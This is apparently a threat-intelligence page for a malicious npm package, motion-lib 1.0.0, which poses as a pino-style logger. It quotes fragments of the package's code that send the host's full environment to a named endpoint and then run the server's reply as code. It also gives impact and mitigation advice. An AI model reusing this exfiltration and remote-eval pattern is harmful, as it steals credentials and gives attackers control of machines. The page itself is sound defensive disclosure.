Malicious code in motion-lib (npm)
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (0dec07d83d6427eb2c76e0ab74e5f31f424e769c187e6d48df0de3575df2e176) [email protected] masquerades as a pino-style logger (exports module.exports.pino, ships proto.js/multistream.js/transport.js/redaction.js/levels.js, advertises 'fast','logger','stream','json' keywords) but its middleware factory in index.js spawns a detached `node lib/initializeCaller.js`. That script shadows `process` with a local object whose `env.DEV_API_KEY` holds a base64-encoded string that decodes to https://ipcheck-hashed.vercel.app/api/auth/6c1d60d35852ef0c05df, then POSTs the host's full real `process.env` to that endpoint with header `x-secret-header: secret` (`axios.post(apiEndpoint, {...process.env },...)`). The HTTP response body is then executed via `new Function('require', response.data); executor(require);`, giving the remote endpoint arbitrary code execution with full Node capabilities (filesystem, network, child_process) on the installer's machine. The combination of full-environment exfiltration (AWS_*, GITHUB_TOKEN, NPM_TOKEN, CI secrets, DB creds), eval-of-remote-response RCE, base64 obfuscation of the C2 URL, and impersonation of a popular logger package is an unambiguous supply-chain attack. ## Source: ghsa-malware (42d1c97ca524f366ce6123786b4b68ebd3796c9d221d59009641effddc0e02de) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
AI Analysis
Technical Summary
[email protected] impersonates a legitimate logger package but contains malicious code that runs a detached Node.js script. This script shadows the process object and extracts environment variables, including sensitive credentials such as AWS keys, GitHub tokens, and database credentials. It sends these to a remote endpoint (https://ipcheck-hashed.vercel.app/api/auth/6c1d60d35852ef0c05df) using an HTTP POST with a secret header. The response from the server is executed as code with full Node.js capabilities, allowing arbitrary remote code execution on the compromised host. This is a clear supply-chain attack leveraging environment exfiltration and remote code execution via eval of remote response.
Potential Impact
Any system with [email protected] installed or running is fully compromised. Attackers gain full control over the host environment, including filesystem, network, and process management. All secrets and credentials stored in environment variables are exposed and can be stolen. This can lead to further lateral movement, data theft, and persistent compromise. The attacker can execute arbitrary code remotely, making remediation difficult without full system reimaging and credential rotation.
Mitigation Recommendations
No official patch or fix is currently available for [email protected]. Immediate removal of the package from all systems is required. All secrets and credentials exposed on compromised machines should be rotated immediately from a secure, uncompromised environment. Because the attacker may have full control of the host, removing the package alone may not eliminate all malicious artifacts. A full system compromise response, including forensic analysis and potential reimaging, is recommended.
Malicious code in motion-lib (npm)
Description
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (0dec07d83d6427eb2c76e0ab74e5f31f424e769c187e6d48df0de3575df2e176) [email protected] masquerades as a pino-style logger (exports module.exports.pino, ships proto.js/multistream.js/transport.js/redaction.js/levels.js, advertises 'fast','logger','stream','json' keywords) but its middleware factory in index.js spawns a detached `node lib/initializeCaller.js`. That script shadows `process` with a local object whose `env.DEV_API_KEY` holds a base64-encoded string that decodes to https://ipcheck-hashed.vercel.app/api/auth/6c1d60d35852ef0c05df, then POSTs the host's full real `process.env` to that endpoint with header `x-secret-header: secret` (`axios.post(apiEndpoint, {...process.env },...)`). The HTTP response body is then executed via `new Function('require', response.data); executor(require);`, giving the remote endpoint arbitrary code execution with full Node capabilities (filesystem, network, child_process) on the installer's machine. The combination of full-environment exfiltration (AWS_*, GITHUB_TOKEN, NPM_TOKEN, CI secrets, DB creds), eval-of-remote-response RCE, base64 obfuscation of the C2 URL, and impersonation of a popular logger package is an unambiguous supply-chain attack. ## Source: ghsa-malware (42d1c97ca524f366ce6123786b4b68ebd3796c9d221d59009641effddc0e02de) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Affected software
Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
[email protected] impersonates a legitimate logger package but contains malicious code that runs a detached Node.js script. This script shadows the process object and extracts environment variables, including sensitive credentials such as AWS keys, GitHub tokens, and database credentials. It sends these to a remote endpoint (https://ipcheck-hashed.vercel.app/api/auth/6c1d60d35852ef0c05df) using an HTTP POST with a secret header. The response from the server is executed as code with full Node.js capabilities, allowing arbitrary remote code execution on the compromised host. This is a clear supply-chain attack leveraging environment exfiltration and remote code execution via eval of remote response.
Potential Impact
Any system with [email protected] installed or running is fully compromised. Attackers gain full control over the host environment, including filesystem, network, and process management. All secrets and credentials stored in environment variables are exposed and can be stolen. This can lead to further lateral movement, data theft, and persistent compromise. The attacker can execute arbitrary code remotely, making remediation difficult without full system reimaging and credential rotation.
Mitigation Recommendations
No official patch or fix is currently available for [email protected]. Immediate removal of the package from all systems is required. All secrets and credentials exposed on compromised machines should be rotated immediately from a secure, uncompromised environment. Because the attacker may have full control of the host, removing the package alone may not eliminate all malicious artifacts. A full system compromise response, including forensic analysis and potential reimaging, is recommended.
Technical Details
- Gcve Source
- db.gcve.eu
- Osv Id
- MAL-2026-5925
- Osv Schema Version
- 1.7.4
- Aliases
- ["GHSA-4qw9-xmhp-hc7v"]
- Ecosystems
- ["npm"]
- Database Specific Severity
- null
- Cvss Version
- null
Threat ID: 6a4c341527e9c797195f7ef5
Added to database: 07/06/2026, 23:02:45 UTC
Last enriched: 07/06/2026, 23:18:47 UTC
Last updated: 07/18/2026, 17:27:21 UTC
Views: 23
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
External Links
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.